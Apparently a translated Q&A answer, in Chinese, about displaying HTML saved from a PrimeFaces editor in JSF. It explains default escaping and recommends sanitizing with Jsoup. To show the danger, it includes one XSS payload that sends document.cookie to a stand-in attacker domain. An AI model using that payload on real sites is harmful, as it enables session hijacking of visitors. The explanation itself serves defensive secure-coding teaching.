在我的应用程序中,用户使用primefaces <p:editor>
创建一个声明,以便能够格式化和设置文本样式。文本正在使用其html标签保存,当我执行选择查询时,我得到文本没有解释标签。是否有一些函数或转换器来转换thoses标签以格式化从数据库返回的文本?
答案 0 :(得分:1)
实际上,JSF默认会转义HTML特殊字符,以防止由不知情的开发人员引起的XSS攻击漏洞。想象一下,最终用户在<p:editor>
中输入了以下内容:
<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>
并且您的网站字面上解释说,在重新播放期间没有任何形式的HTML转义,黑客就会获得有关您网页访问者的会话cookie的所有信息,并轻松执行会话劫持攻击。
首先,您需要一个HTML解析器/清理程序,如Jsoup,以便在显示之前准备提交的数据(或保存在DB中,最好保存在另一列中)。
String sanitizedHTML = Jsoup.clean(unsafeHTML, Whitelist.basic());
然后,您可以使用<h:outputText>
属性设置为escape
的{{1}}安全地显示已清理的HTML:
false